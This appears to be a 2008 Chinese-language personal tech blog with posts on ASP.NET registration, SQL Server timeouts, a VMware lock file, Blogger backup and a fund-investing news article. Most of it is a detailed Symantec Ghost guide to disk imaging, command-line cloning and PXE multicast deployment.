2008年3月16日

How to adjust the column width in a datagrid??

爬文好久,總算找到處理方式了,
開發過程中,發現每次執行這個功能,都要手動調,
若沒有自動調整datagird的欄位寛度,使用者保証瘋掉~

以下是我自已整理出來旳sample code












ASP.Net IIS 註冊工具 -- aspnet_regiis.exe

ASP.Net IIS 註冊工具 -- aspnet_regiis.exe
ASP.NET 為一種動態網頁語言,必需安裝 .Netframework 元件才能使 IIS Web 具備有執行 ASP.net 程式能力。但因安裝順序錯誤,使得 ASP.NET 沒有註冊因而無法執行,造成用戶端 (Client) 在執行 ASP.NET 程式時,所有點選的程式不會執行,反而被當成一般文件下載。
因此正確安裝方式是必須先安裝 IIS 程式後,才加裝 .Netframework 元件。才不會造成 ASP.Net 沒有在 IIS 註冊,而無法執行的窘境。倘若您不小心安裝順序出現錯誤,也可利用 ASP.Net IIS 註冊工具 -- aspnet_regiis.exe 在 IIS 中註冊 ASP.Net 解決此一問題。作法:
• 找到 aspnet_regiis.exe 檔案的位置 , 可以對 windows 目錄作搜尋。 • 檔案所在的路徑會因為安裝的版本不同而異,下列路徑僅供參考: C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_regiis.exe • 進入 dos 提示視窗模式,開始 a 執行 a cmd a 切換目錄到 .netframework 安裝目錄 ( 如作法 2 路徑 ) a 下 aspnet_regiis –i 指令,就會 重新註冊 ASP.Net 於 IIS 。 • 進入 dos 提示視窗模式,下 iisreset 指令重起 IIS 讓新的設定生效。

http://msdn2.microsoft.com/zh-tw/library/k6h9cz8h(VS.80).aspx

2008年3月13日

[筆記]Blogger Backup ---Backup Utility Tutorial

目前 Google 尚未推出 Blogger 的備份服務,不過已經有人開發出好用的備份工具:Blogger Backup。
Blogger Backup 主要的目的就是要簡化將 Blogger 上面的文章備份到本地端硬碟的工具軟體,它能同時支援多個 blog。你隨時都能將 Blogger 上任何一段時間中的文章備份到本地端,
(是利用 GData C# 程式庫,遊走在不同的時間點,成為 Atom/XML 檔。 )

● 注意事項:Blogger Backup 是利用 Public Feed(網站提供)來備份你的文章。
如果 [網站提供] 沒有開放,那麼這套軟體將無法替你備份。
另外 [網站提供] 裡面的設定如果都是「簡短(Summary)」那麼只有文章的簡短內容會備份。
要備份完整文章,請在 [網站提供] 中將相關欄位設定成 [完整]。
如果你的 feeds 是透過 FeedBurner 重新導向,而且你將「flare(http://www.feedburner.com/fb/a/publishers/feedflare)」開啟的話(換言之,「email this」這些由 FeedBurner 加到你張貼文章下的功能),那麼這些 flare 也都會一並備份。(FYI:作者目前已經在撰寫新的選項,可以將 flare 排除掉。)

以下是使用完後,我自已作的筆記,
http://lab.blogdns.com/DOC/bloggerbackup.htm

2008年3月10日

[筆記]SQL Server 「逾時過期」的處理方式

SQL Server 「逾時過期」的處理方式
基本上 SQL Server 只要在處理大量資料的指令,如 INSERT INTO A SELECT * FROM B 在資料量很大的時候,很容易發生 Timeout ,也就是常見的「逾期過時」錯誤。

SQL Server 本機用 Enterprise Manager 執行的話還好處理,只要更改設定值就好了。(工具->選項->進階,加大逾時秒數)。

但是絕大部份都是在 Remote 下 SQL Command ,只要量稍大,這種「逾期過時」出現的機率也隨之增加。

解決的方式最好是加大 SQL Server Remote Command 的 Timeout 時間,只要在 SQL Queryer 裡面下:

USE master
GO
EXEC sp_configure 'remote query timeout', 6000
GO
RECONFIGURE
GO

6000 代表的是秒數,也就是 6000 秒(SQL Server預設是 600 秒,)。

另一種就是用外部程式來處理,但是可能還是會受限於 SQL Server 的限制,尤其 ADODB 在這部份還有嚴重的Bug,詳見:

PRB: CommandTimeout Does Not Inherit From Connection Timeout
http://support.microsoft.com/default.aspx?scid=kb;en-us;Q195489


程式設定 CommandTimeout 處理的範例:

Dim conn As New ADODB.Connection
conn.Open(ConnStr)
conn.CommandTimeout = 600 '秒
conn.Execute("INSERT INTO A SELECT * FROM B")
conn.Close()
conn = Nothing

需注意的是在 ADODB 2.6 以前,CommandTimeout 不可以設為 0 (無限制時間),非不得以要使用的話,必須使用 ADODB.Command,詳見:

FIX:使用 Connection 物件時的 CommandTimout 屬性問題
http://support.microsoft.com/default.aspx?scid=kb;zh-tw;175264

This virtual machine appears to be in use.

This virtual machine appears to be in use.

執行環境:VMWARE 6

當執行VMWARE GUEST OS時,
若出現以下錯誤訊息:

Could not open virtual machine: D:\GuestOS\QP_20070619\Windows Server 2003 Standard Edition.vmx. This virtual machine appears to be in use.

Configuration file: D:\GuestOS\QP_20070619\Windows Server 2003 Standard Edition.vmx

解決方法:刪除GUEST OS資料夾底下的.lck檔案

參考:http://www.vmware.com/community/thread.jspa?messageID=673176

2008年2月23日

基金隨時買、不要賣 是錯的

本文出處:http://tw.news.yahoo.com/article/url/d/a/080221/57/tuyx.html

基金隨時買、不要賣 是錯的
更新日期:2008/02/21 09:36 【李國煌台北報導】
 國人投資基金,風潮更熱,定期定額投資法也廣為投資人奉為圭臬,不過,投信投顧公會歸納三大迷思,提醒投資人,隨時買、不要賣的「傻瓜投資法」,是錯誤的作法。


 迷思一:定時定額專屬迷思:賺錢出場後,定時定額就停止扣款了。


 投信投顧公會秘書長蕭碧燕指出,很多人定時定額投資獲利後,喜歡換一檔「新」基金扣款。


 其實,只要這檔基金的投資策略良好,績效依然穩定,未來一樣可以為投資人帶來良好的獲利,因此,即使獲利了結後,還是可以繼續扣款,千萬不要停扣,讓一檔幫你賺錢的好基金,反而遭至處罰。


 迷思二:一出現虧損就停扣。


 蕭碧燕說,定時定額的主要精神就是,以平均成本法原理來分散風險,所以,不要一看到虧損就急著停扣,讓平均成本法破功。


 重點是,定時定額投資不要在乎過程,只看結果,千萬不要受短期市場波動影響,只要堅持既定投資的計劃,一旦空頭市場結束,市場翻轉時,將手中累積的單位數賣出,自然會有可觀的獲利。


 迷思三:定時定額隨時買,不要賣。


 蕭碧燕說,過去,定時定額投資法打著「傻瓜投資法」的名號,告訴投資人「隨時買、不要賣」,其實,這是錯誤觀念。


 定期定額投資基金,雖然沒有進場時點的問題,但一定要設定獲利目標、適時贖回,設定停利點,要懂得買基金,更要懂得賣基金。


 為什麼需要停利?


 蕭碧燕說,以台灣而言,要走完一個經濟循環,大約二到三年,如果不適時獲利了結,當經濟開始衰退時,報酬率可能就會下滑。


 因此,以定時定額方式投資時,一定要把握的原則就是:「停利不停損」,只要達到了目標報酬,不要猶豫,趕快贖回停利。

2008年2月15日

Ghost 8.3 使用例子 和 參數指導

Ghost 8.3 使用例子 和 參數指導

磁牒複製的例子:

ghost -clone,mode=copy,src=1,dst=2 -sure
一盤到另一盤
ghost -clone,mode=pdump,src=1:1,dst=D:\CSave.img -sure
第一分區備到第二分區的文件 CSave.img 中
ghost -clone,mode=pload,src=D:\CSave.img,dst=1:1 -sure
從第二分區文件 CSave.img 中恢復第一分區訊息

以下開頭可以被使用到指令行方式,以利自動進行處理不需要人工干與:

1.一般參數:

-AFILE= 使用 取代預設的錯誤日誌文件
-DD 轉儲磁牒服務機構到 GHSTSTAT.DMP
-DFILE=取代預設的轉儲日誌文件
-DI 顯示診斷訊息
-E 克腸 EA DATA.SF 問題
-F64 從舊的映像文件中裝入時允許 64K 簇容量的方式
-FDC 強迫使用 XX 檢查
-FRO 即使原盤有壞塊也繼續複製
-FNX 強迫遮閉增強的 INT13 中斷使用
-FX 完成後結束程序
-H 顯示說明
-IA 映像所有訊息----強迫扇區方式拷貝
-LPM LPT 主
-LPS LPT 從
-MEMCHECK 記憶體檢查是否可用
-NBM NetBIOS 主
-NBS NetBIOS 從屬
-OR 超過目標驅動器空間限制
-QUIET 靜態模式 - 用戶不干與或不在螢幕上顯示
-RB 在批次處理模式----完成後自動重新啟動
-SPAN 開啟分塊方式
-SPLIT=x 分割映像文件到 x 兆塊
-SURE 套用在連接中,使用 -CLONE 參數避免最終執行問題
-SZEx 在批次處理中控制分區尺寸
-XINT13ON 如果是存在的,強迫使用 BIOS 增強 INT13 系統使用
-Z 轉儲時壓縮映像文件

2.NTFS 專用開關:

-NTD 允許 NTFS 內部診斷檢查
-NTC 允許 NTFS 接近的簇執行分佈
-NTN 禁檢查 NTFS 卷冊啟始
-NTIL 忽略非空的 NTFS 日誌文件檢查(不一致的磁碟區)
-NTIC 忽略 NTFS 磁碟區檢查位

3.指令行語法:

-CLONE,mode={COPYLOADDUMP},src={驅動器文件},dst={驅動器文件}
磁牒 映像 映像 來源 目標
拷貝 還原 製作
-CLONE,mode={PCOPYPLOADPDUMP},src={驅動器:分區文件:分區},dst={驅動器:分區文件}
分區 分區 分區
拷貝 映像 映像
還原 製作
-CLONE,mode={COPYLOADDUMPPCOPYPLOADPDUMP},src={驅動器文件},dst={驅動器文件},szen={FVnnnnMnnP},sze{FL}
磁牒 映像 映像 分區 分區 分區
拷貝 還原 製作 拷貝 映像 映像
還原 製作

4.一些例子:批量複製通過指令行的語法:

ghost -clone,mode=copy,src=1,dst=2 -sure
- 拷貝驅動器 1 到驅動器 2 在本機模式沒有結束提示

ghost -nbm -clone,mode=dump,src=2,dst=c:drive2.img
- 連接方式下通過 NetBIOS 去複製從屬的一個遠端 PC 而且轉儲
成本機驅動器映像文件 CRIVE2.IMG.
注意那個從屬的複製能用 ghost -nbs

ghost -clone,mode=load,src=e:savdsk.img,dst=1
- 從 SAVEDSK.IMG 映像文件中裝入並保持 network 分區
E: 在本機的 PC 的驅動器 1 上

ghost -clone,mode=pdump,src=1:2,dst=g:\imgs\part2.img
- 轉儲本機磁牒第二分區為一個文件.

ghost -clone,mode=pload,src=g:\imgs\part2.img:2,dst=1:2
- 從第二驅動器的一個映像文件中裝入本機磁牒的分區 2

ghost -clone,mode=pcopy,src=1:2,dst=2:1
- 拷貝硬碟 1 的第二分區到硬碟 2 的第一分區.

ghost -clone,mode=load,src=g:\imgs\2prtdisk.img,dst=2,sze1=60P,sze2=40P
- 從映像文件中裝入一個磁牒並調整尺寸 目標分區進入 60:40 分配

ghost -clone,mode=copy,src=1,dst=2,sze1=F,sze2=V,sze3=V
- 拷貝一個 3 個分區的磁牒並且保持目標驅動器的首分區同源驅動器的容量相同,
但劃分高於剩餘空間時,其它分區允許有未分配的空間

ghost -clone,mode=load,src=g:\imgs\2prtdisk.img,dst=1,szeL
- 從指定驅動器的一個映像文件中裝入並且調整最後分區的容量,首分區利用剩餘空間

Ghost 使用詳解

--------------------------------------------------------------------------------

一、分區制作備份

  使用Ghost進行系統制作備份,有整個硬碟(Disk)和分區硬碟(Partition)兩種方式。在表單中點擊 Local(本機)項,在右面彈出的表單中有3個子項,其中 Disk表示制作備份整個硬碟(即複製)、Partition 表示制作備份硬碟的單個分區、Check 表示檢查硬碟或制作備份的文件,檢視是否可能因分區、硬碟被破壞等造成制作備份或還原失敗。分區制作備份作為個人用戶來儲存系統資料,特別是在恢復和複製系統分區時具有實用價值。
  選 Local→Partition→To Image 表單,彈出硬碟選項視窗,開始分區制作備份操作。點擊該視窗中白色的硬碟訊息條,選項硬碟,進入視窗,選項要操作的分區(若沒有滑鼠,可用鍵盤進行操作:TAB鍵進行切換,Enter鍵鍵進行驗證,方向鍵進行選項)。 在彈出的視窗中選項制作備份儲存的目錄路徑並輸入備份檔案名稱,注意備份檔案的名稱帶有 GHO 的後面名。 接下來,程序會詢問是否壓縮制作備份資料,並指出3個選項:No 表示不壓縮,Fast表示壓縮比例小而執行制作備份速度較快,High 就是壓縮比例高但執行制作備份速度相當慢。最後選項 Yes 按鈕即開始進行分區硬碟的制作備份。Ghost 制作備份的速度相當快,不用久等就可以完成,制作備份的文件以 GHO 後面名儲存在設定的目錄中。


二、硬碟複製與制作備份

  硬碟的複製就是對整個硬碟的制作備份和還原。選項表單Local→Disk→To Disk,在彈出的視窗中選項源硬碟(第一個硬碟),然後選項要複製到的目標硬碟(第二個硬碟)。注意,可以設定目標硬碟各個分區的大小,Ghost 可以自動對目標硬碟按設定的分區數值進行分區和格式化。選項 Yes 開始執行。
  Ghost 能將目標硬碟複製得與源硬碟幾乎完全一樣,並實現分區、格式化、複製系統和文件一步完成。只是要注意目標硬碟不能太小,必須能將源硬碟的資料內容裝下。
  Ghost 還提供了一項硬碟制作備份功能,就是將整個硬碟的資料制作備份成一個文件儲存在硬碟上(表單 Local→Disk→To Image),然後就可以隨時還原到其他硬碟或源硬碟上,這對安裝多個系統很方便。使用方法與分區制作備份相似。


三、制作備份還原

  如果硬碟中制作備份的分區資料受到損壞,用一般資料修復方法不能修復,以及系統被破壞後不能啟動,都可以用制作備份的資料進行完全的復原而無須重新安裝程序或系統。當然,也可以將制作備份還原到另一個硬碟上。
  要恢復制作備份的分區,就在介面中選項表單Local→Partition→From Image,在彈出視窗中選項還原的備份檔案,再選項還原的硬碟和分區,點擊 Yes 按鈕即可。


四、區域網路操作

LPT 是通過並列阜傳送備份檔案,下面有兩個選項:slave 和 master, 分別用以連接主機和客戶端機。 網路基本輸入輸出系統 NetBios 和 LPT 相似, 也有 slave 和 master 兩個選項, 作用與 LPT 相同。
先和平時一樣將要 ghost 的分區做成一個 *.gho 文件,再在一台 win98 上安裝Symantec Ghost 企業版,重新啟動。
1. 首先製作一張 ghost 帶網路卡驅動的啟動碟。Start > Programs > Symantec Ghost > Ghost Boot Wizard->Network Boot Disk 如果你的網路卡在列表內直接選項它就可以產生一張帶 PC-DOS 的啟動碟。(但 6.5版的產生的軟碟經常有問題,不能成功啟動)如果你的網路卡不在列表內,你要建立專用的 Packet Driver。ADD->Packet Driver (網路卡的驅動程式中有)往下根據提示一步一步走,填入工作站的 ip(ghost 一定要 tcp/ip 傳輸協定)。最後產生一張軟碟,但此軟碟仍不能使用,要改 autoexec.bat 文件在 net xxxx.dos 後面加一個16進制的位址,如 0X75 等。多台電腦只需改 wattcp.cfg 文件中的 ip 即可:
IP = 192.168.100.44
NETMASK = 255.255.255.0
GATEWAY = 192.168.100.1
2. 在 server 端執行 multicast server 出來的畫面。先給 server一個Session Name(別名)如:bb,再選項 image file 就是你的 gho 文件。然後 ->Dump From Client->rtitions->More Options-> 在 auto start 的 client 中填入 50(如果你要同時複製50台)->accept client 就算完成了,當你的工作站數達到50台時,server就自動傳送*.gho 文件。

3.詳述:
目前,相當多的電子教室都採用了沒有軟式磁碟機、光碟的工作站。在沒有軟式磁碟機、光碟的情況下,當硬碟的軟體系統出現問題時,能否實現網路硬碟複製呢?PXE(Preboot Execution Environment,它是關於 TCP/IP、DHCP、TFTP 等 Internet 傳輸協定之上的增強網路傳輸協定)技術提供的從網路啟動的功能,讓我們找到了解決之道。下面,我們就來講解怎樣採用Ghost 7.0來實現關於 PXE 的網路硬碟複製。

  網路硬碟複製程序簡述

  網路硬碟複製程序為:在裝有軟式磁碟機的工作站上,用一張起始碟來啟動機器,連線到伺服器,使用 Ghost 多點播服務(Multicast Server)將硬碟或分區的映像複製到工作站,這樣就實現了不拆機、安全、快速的網路硬碟複製。

  實現 PXE 網路啟動方式

  對於沒有軟式磁碟機、光碟的工作站,要實現PXE網路啟動方式,需要完成三個步驟:

  1、工作站的PXE啟動設定

  PXE網路啟動一般要求在網路卡上加裝 PXE 啟動晶片(PXE Boot ROM);對於某些型號的網路卡,也可以將 PXE 啟動程式碼(Boot Code)寫入主機板的 Flash ROM;而一些主機板上整合了網路卡的品牌機(例如清華同方的商用機),可直接支持PXE啟動。

  常用的 RTL8139 晶片的網路卡,其 PXE 啟動設定方式是:機器啟動時根據螢幕提示按下Shift+F10,在啟動檔案類型中選項PXE,開啟網路啟動選項即可。

  2、製作 PXE 啟動檔案

  製作 PXE 的啟動檔案,推薦使用 3Com 的 DABS(Dynamic Access Boot Services)。DABS 提供了功能強大的 PXE 啟動服務、管理功能,但是,網上可供下載的是一個30天的試用版。所以,我們只用它的啟動映像文件製作功能,而由 Windows 2000 Server 的 DHCP 伺服器來提供 PXE 啟動服務。

  DABS 可以安裝在任何一台執行 Windows 的電腦上。安裝後,執行 3Com Boot Image Editor,出現主介面圖。選項「新增TCP/IP或PXE映像文件(Create a TCP/IP or PXE image file)」,出現對話視窗。為即將建立的映像文件命名,例如:pxeghost.img,其他採用預設值選項,將經測試正常的網路啟動碟放入軟式磁碟機,選項[OK],新增PXE啟動映像 Pxeghost.img文件。

  在 3Com Boot Image Editor 的主表單中,選項「新增PXE表單啟動檔案(Creat a PXE menu boot file)」,在出現的視窗中選項[增加(Add)],加入我們剛剛新增的啟動映像文件Pxeghost.img,在「選項(Options)」標籤中可以設定表單標題和等待時間。

  選項[儲存(Save)],給儲存的PXE表單啟動檔案命名為 Pxemenu.pxe。

  3、伺服器的PXE啟動服務設定

  Windows 2000 Server 的 DHCP 服務支持兩種啟動傳輸協定:DHCP 和 BOOTP。我們可以設定以下三種選項:僅 DHCP、僅 BOOTP、兩者。如果我們的區域網路中由其他的 DHCP 伺服器提供動態 IP 位址分配,那麼這裡選「僅BOOTP」即可;如果需要這台伺服器提供動態 IP 位址分配,則需要選「兩者」。

  接下來,設定啟動檔案名。在DHCP伺服器的作用域選項中組態選項「067:啟動檔案名」,字串值為我們新增的 PXE 表單啟動檔案名 Pxemenu.pxe。注意:檔案名不包含路徑。

  DHCP 伺服器只是將啟動檔案名通知給 BOOTP 客戶端機,客戶端機通過什麼方式下載啟動檔案呢?答案是,需要 TFTP 服務。3Com 的 DABS 包含了一個 TFTP 服務元件,當然,也可以下載一個免費的 TFTP 伺服器軟體長期使用。

  在 TFTP 伺服器的設定中,規定一個服務目錄。將製作的 PXE 啟動檔案 Pxeghost.img、Pxemenu.pxe 放到 TFTP 的服務目錄中。TFTP 伺服器設定為自動執行。

  用 Ghost 多點播複製硬碟

  現在執行 Ghost 多點播伺服器,工作名稱為 Restore。設定完畢,按下[接受客戶(Accept Clients)]按鈕。啟動要接受硬碟複製的無軟式磁碟機工作站,如果以上步驟操作無誤,應該能夠實現 PXE 啟動,加入到多點播複製的工作當中。所有的目標工作站連線到本次工作之後,按下[傳送(Send)]按鈕,開始複製工作。

五、參數設定

在 Options 中可以設定參數。下面簡單介紹一下:
1.image write buffering:在建立備份檔案時, 開啟寫緩衝;
2.sure:選項此項後, 不再會出現最終驗證詢問 (建議不要選項此項);
3.no int 13:選項此項後, 不支持中斷 13 (預設時不選項);
4.reboot:在對硬碟或者分區操作完成之後, 自動重新啟動電腦;
5.spanning:通過多個磁碟區架構備份檔案 (選項此項時, 關閉 write buffering);
6.autoname:自動為 spanning 文件命名;
7.allow 64k fat clusters:允許使用 64K FAT 簇 (僅在 Windows NT 中支持);
8.ignore CRC errors:忽略 CRC 錯誤;
9.override size limit:如果出現分區大小不相配, 可忽略執行;
10.image read buffering:開啟產生備份檔案時的讀快取 (預設時選此項)。


六、軟體特性

1.儲存介質
  Ghost 支持的儲存於介質超出了我們的想像,它支持對等 LPT 接頭、對等 USB 接頭、對等 TCP/IP 接頭、SCSI磁帶機、便攜式設備(JAZ、ZIP、MO等)、光碟燒錄機(CDR、CDRW)等。而這些特性不需要任何外帶的驅動程式和軟體,只需一張軟碟就可以做到!特別是對光碟燒錄機的支持,如今的燒錄機和空白光碟都十分便宜,非常適合作制作備份的用途。

2.相容性
  Ghost 對現有的作業系統都有良好的支持,包括 FAT16、FAT32、NTFS、HPFS、UNIX、NOVELL 等文件儲存於格式。同以前版本不同的是,Ghost 2001 加入了對 Linux EX2的支持(FIFO 文件儲存於格式),這也就意味著 Linux 的用戶也可以用 Ghost 來制作備份系統了。

3.配套軟體

  A.Ghost 瀏覽器
在以前的 Ghost版本中,我們只能對整個系統進行簡單的制作備份、複製、還原,要恢復單個的文件和資料夾還要使用外帶的 GhostEXP 軟體。現在,Symantec 公司已經將 Ghost 瀏覽器整合在軟體中。Ghost 瀏覽器採用類似於檔案總管的介面,通過它,我們可以方便迅速地在制作備份包中找出我們想要的文件和資料夾並還原。
使用Explorer可以制作備份整個硬碟或單個硬碟分區,點擊工作列上的圓柱形圖示,彈出硬碟或分區選項對話視窗,然後再選項備份檔案的儲存目錄並輸入名稱即可完成。要注意的是,非註冊用戶不能使用制作備份這項功能。
在 Ghost Explorer 中管理硬碟備份檔案就非常方便了。首先選項開啟一個備份檔案(File/Open),這時制作備份中的文件就像檔案總管一樣在程序介面視窗中列出,可以在其中非常方便地檢視、開啟文件,也可以搜尋文件,或者將某個文件移除(但不能移除目錄)。
在 Ghost Explorer 中提供了多種還原硬碟備份檔案的方法,最方便的方法是使用滑鼠右鍵點擊某個文件,在彈出表單中選項 Restore,然後輸入要還原到的目錄,這樣,單個文件就從整個磁牒制作備份中還原出來了。當然,如果要還原整個磁牒制作備份,只需選項左面目錄列表欄中最上面的帶磁牒圖示的目錄項,然後點擊工作列中的還原圖示 (第二個) 就可以了。

B.GDisk
GDisk 是一個新加入的實用工具,它徹底取代了 FDisk 和 Format,功能有:
* 快速格式化。
* 隱藏和顯示分區。此功能允許一個以上的主 DOS分區,並且每個分區上的作業系統有不同的版本。隱藏分區的能力使電腦習慣於啟始到選定的可啟始分區,忽略其他隱藏分區中相同作業系統的安裝。
* 全面的分區報告。
* 高度安全的磁牒擦除。提供符合美國國防部標準和更高安全標準的磁牒擦除選項。
與使用交互式表單的 FDisk 不同,GDisk是由指令行驅動的。這提供了更快的組態磁牒分區和在批次處理文件中定義 GDisk操作的能力。但與此同時,幾十個參數會令普通用戶頭疼,因此筆者不推薦一般用戶使用,Symantec 公司也應該推出相應的GUI(圖形用戶介面)控制台以方便用戶使用。具體的參數說明可以用指令行 gdisk/? 瞭解。

C.Live Update
Live Update 是 Symantec公司軟體的一個通用昇級程序,它能夠檢查當前系統中已安裝的 Symantec 軟體,並且通過互聯網對軟體進行在線昇級。
在安裝 Ghost 2001 時,安裝程序自動昇級了 Live Update 程序的版本。


七、指令行參數:(Ghost 的無人 制作備份/恢復/複製 操作)

  其實 Ghost 2001 的功能遠遠不止它主程序中顯示的那些,Ghost 可以在其啟動的指令行中增加眾多參數以實現更多的功能。指令行參數在使用時頗為複雜,不過我們可以製作批次處理文件,從而「一勞永逸」(類似於無人安裝 Windows 98 和Windows 2000)。現在讓我們來瞭解一些常用的參數(瞭解更加詳細的參數介紹可檢視 Ghost 的求助文件)。
1.-rb
本次 Ghost 操作結束結束時自動重新啟動。這樣,在複製系統時就可以放心離開了。
2.-fx
本次 Ghost 操作結束結束時自動回到DOS提示號。
3.-sure
對所有要求驗證的提示或警告一律回答「Yes」。此參數有一定危險性,只建議進階用戶使用。
4.-fro
如果源分區發現壞簇,則略過提示而強制拷貝。此參數可用於試著挽救硬碟壞道中的資料。
5.@filename
在 filename 中指定 txt 文件。txt文件中為 Ghost 的附加參數,這樣做可以不受DOS指令行 150 個字元的限制。
6.-f32
將源 FAT16 分區拷貝後轉換成 FAT32(前提是目標分區不小於 2G)。WinNT 4 和Windows95、97用戶慎用。
7.-bootcd
當直接向光碟中備份檔案時,此選項可以使光碟變成可啟始。此程序需要放入啟動碟。
8.-fatlimit
將 NT 的 FAT16 分區限制在 2G。此參數在複製 Windows NT 分區,且不想使用64k/簇的 FAT16 時非常有用。
9.-span
分割參數。當空間不足時提示複製到另一個分區的另一個制作備份包。
10.-auto
分割拷貝時不提示就自動賦予一個檔案名繼續執行。
11.-crcignore
忽略制作備份包中的 CRC ERROR。除非需要搶救制作備份包中的資料,否則不要使用此參數,以防資料錯誤。
12.-ia
全部映像。Ghost 會對硬碟上所有的分區逐個進行制作備份。
13.-ial
全部映像,類似於 -ia 參數,對 Linux 分區逐個進行制作備份。
14.-id
全部映像。類似於 -ia 參數,但包含分區的啟始檔案。
15.-quiet
操作程序中禁止狀態更新和用戶干預。
16.-script
可以執行多個 Ghost 指令行。指令行存放在指定的文件中。
17.-split=x
  將制作備份包劃分成多個分割,每個分割的大小為 x兆。這個功能非常實用,用於大型制作備份包複製到移動式儲存於設備上,例如將一個 1.9G 的制作備份包複製到 3 張燒錄碟上。
18.-z
  將磁牒或分區上的內容儲存到映像文件時進行壓縮。-z 或 -z1 為低壓縮率(快速);-z2 為高度壓縮率(中速);-z3 至 -z9 壓縮率依次增大(速度依次減慢)。
19.-clone
  這是實現 Ghost 無人制作備份/恢復的核心參數。使用語法為:
-clone,MODE=(operation),SRC=(source),DST=(destination),[SZE(size),SZE(size)...]
此參數行較為複雜,且各參數之間不能含有空格。其中 operation意為操作檔案類型,值可取:copy:磁牒到磁牒;load:文件到磁牒;dump:磁牒到文件;pcopy:分區到分區;pload:文件到分區;pdump:分區到文件。
  Source 意為操作源,值可取:驅動器號,從1開始;或者為檔案名,需要寫絕對路徑。
Destination 意為目標位置,值可取:驅動器號,從 1開始;或者為檔案名,需要寫絕對路徑;@CDx,燒錄機,x 表示燒錄機的驅動器號,從1開始。

下面舉例說明:

1.指令行參數:ghostpe.exe -clone,mode=copy,src=1,dst=2
完成操作:將本機磁牒1複製到本機磁牒2。

2.指令行參數:ghostpe.exe -clone,mode=pcopy,src=1:2,dst=2:1
完成操作:將本機磁牒1上的第二分區複製到本機磁牒2的第一分區。

3.指令行參數:ghostpe.exe-clone,mode=load,src=g:\3prtdisk.gho,dst=1,sze1=450M,sze2=1599M,sze3=2047M
完成操作:從映像文件安裝載入磁牒1,並將第一個分區的大小調整為450MB,第二個調整為1599MB,第三個調整為2047MB。

4.指令行參數:ghostpe.exe -clone,mode=pdump,src2:1:4:6,dst=d:\prt246.gho
完成操作:新增僅含有選定分區的映像文件。從磁牒2上選項分區1、4、6。


八、一些示例

ghost.exe -clone,mode=copy,src=1,dst=2 -sure
硬碟對拷

ghost.exe -clone,mode=pcopy,src=1:2,dst=2:1 -sure
將一號硬碟的第二個分區複製到二號硬碟的第一個分區

ghost.exe -clone,mode=pdump,src=1:2,dst=g:\bac.gho
將一號硬碟的第二個分區做成映像文件放到 g 分區中

ghost.exe -clone,mode=pload,src=g:\bac.gho:2,dst=1:2
從內部存有兩個分區的映像文件中,把第二個分區還原到硬碟的第二個分區

ghost.exe -clone,mode=pload,src=g:\bac.gho,dst=1:1 -fx -sure -rb
用 g 盤的 bac.gho 文件還原 c 盤。完成後不顯示任何訊息,直接啟動

ghost.exe -clone,mode=load,src=g:\bac.gho,dst=2,SZE1=60P,SZE2=40P
將映像文件還原到第二個硬碟,並將分區大小比例修改成 60:40

自動還原磁牒:
首先做一個啟動碟,包含 Config.sys, Autoexec.bat, Command.com, Io.sys, Ghost.exe 文件(可以用 windows 做啟動碟的程序完成)。Autoexec.bat 包含以下指令:
Ghost.exe -clone,mode=pload,src=d:\bac.gho,dst=1:1 -fx -sure -rb
利用在 D 盤的文件自動還原,結束以後自動結束 ghost 並且重新啟動。

自動制作備份磁牒:
ghost.exe -clone,mode=pdump,src=1:1,dst=d:\bac.gho -fx -sure -rb

自動還原光碟:
包含文件:Config.sys, Autoexec.bat, Mscdex.exe (CDROM 執行程序), Oakcdrom.sys (ATAPI CDROM 相容驅動程式), Ghost.exe。
Config.sys 內容為:
DEVICE=OAKCDROM.SYS /D:IDECD001
Autoexec.bat 內容為:
MSCDEX.EXE /D:IDECE001 /L:Z
Ghost -clone,mode=load,src=z:\bac.gho,dst=1:1 -sure -rb

可以根據下面的具體說明修改示例:

1.-clone

-clone 在使用時必須加入參數,它同時也是所有的 switch{batch switch} 裡最實用的。下面是 clone 所定義的參數:

mode={copyloaddumppcopyploadpdump},
src={drivefiledriveartition},
dst={drivefiledriveartition}

mode 指定要使用哪種 clone 所提供的指令
copy 硬碟到硬碟的複製 (disk to disk copy)
load 文件還原到硬碟 (file to disk load)
dump 將硬碟做成映像文件 (disk to file dump)
pcopy 分區到分區的複製 (partition to partition copy)
pload 文件還原到分區 (file to partition load)
pdump 分區制作備份成映像文件(partition to file dump)

src 指定了 ghost 執行時使用的源分區的位置模式及其意義。對應 mode 指令 src 所使用參數例子:
COPY/DUMP 源硬碟號。以 1 代表第一號硬碟
LOAD 映像檔案名。g:/back98/setup98.gho 或裝置名稱 (drive)
PCOPY/PDUMP 源分區號。1:2 代表的是硬碟1的第二個分區
PLOAD 分區映像檔案名加上分區號或是驅動器名加上分區號。g:\back98.gho:2 代表映像文件裡的第二個分區

dst 指定執行 Ghost 時使用的目標位置模式及其意義。對應 mode 指令 dst 所使用參數例子:
COPY/DUMP 目的硬碟號。2 代表第二號硬碟
LOAD 硬碟映像檔案名。例 g:\back98\setup98.gho
PCOPY/PLOAD 目的分區號。2:2 代表硬碟 2 的第二個分區
PDUMP 分區映像檔案名加分區號。g:\back98\setup98.gho:2
SZEn 指定所使用目的分區的大小:
n=xxxxM 指定第 n 目的分區的大小為 xxxxMB。如 SZE2=800M 表示分區 2 的大小為 800MB
n=mmP 指定第 n 目的分區的大小為整個硬碟的 mm 個百分比。

2.-fxo 當源物件出現壞塊時,強迫複製繼續進行

3.-fx 當ghost完成新系統的工作後不顯示 press ctrl-alt-del to reboot 直接回到DOS下

4.-ia 完全執行扇區到扇區的複製。當由一個映像文件或由另一個硬碟為來源,複製一個分區時,Ghost將首先檢查來源分區,再決定是要複製文件和目錄結構還是要做映像複製(扇區到扇區)。預設是這種形式。但是有的時候,硬碟裡特定的位置可能會放一些隱藏的與系統安全有關的文件。只有用扇區到扇區複製的方法才能正確複製

5.-pwd and -pwd=x 給映像文件加密

6.-rb 在還原或複製完成以後,讓系統重新啟動

7.-sure 可以和 clone 合用。Ghost 不會顯示 proceed with disk clone-destination drive will be overwritten? 提示訊息


九、注意事項

1.在制作備份系統時,單個的備份檔案最好不要超過 4GB。
2.在制作備份系統前,最好將一些無用的文件移除以減少Ghost文件的體積。通常無用的文件有:Windows 的臨時資料夾、IE 臨時資料夾、Windows 的記憶體交換文件。這些文件通常要佔去100 多兆硬碟空間。
3.在制作備份系統前,整理目標碟和來源碟,以加快制作備份速度。
4.在制作備份系統前及恢復系統前,最好檢查一下目標碟和來源碟,改正磁牒錯誤。
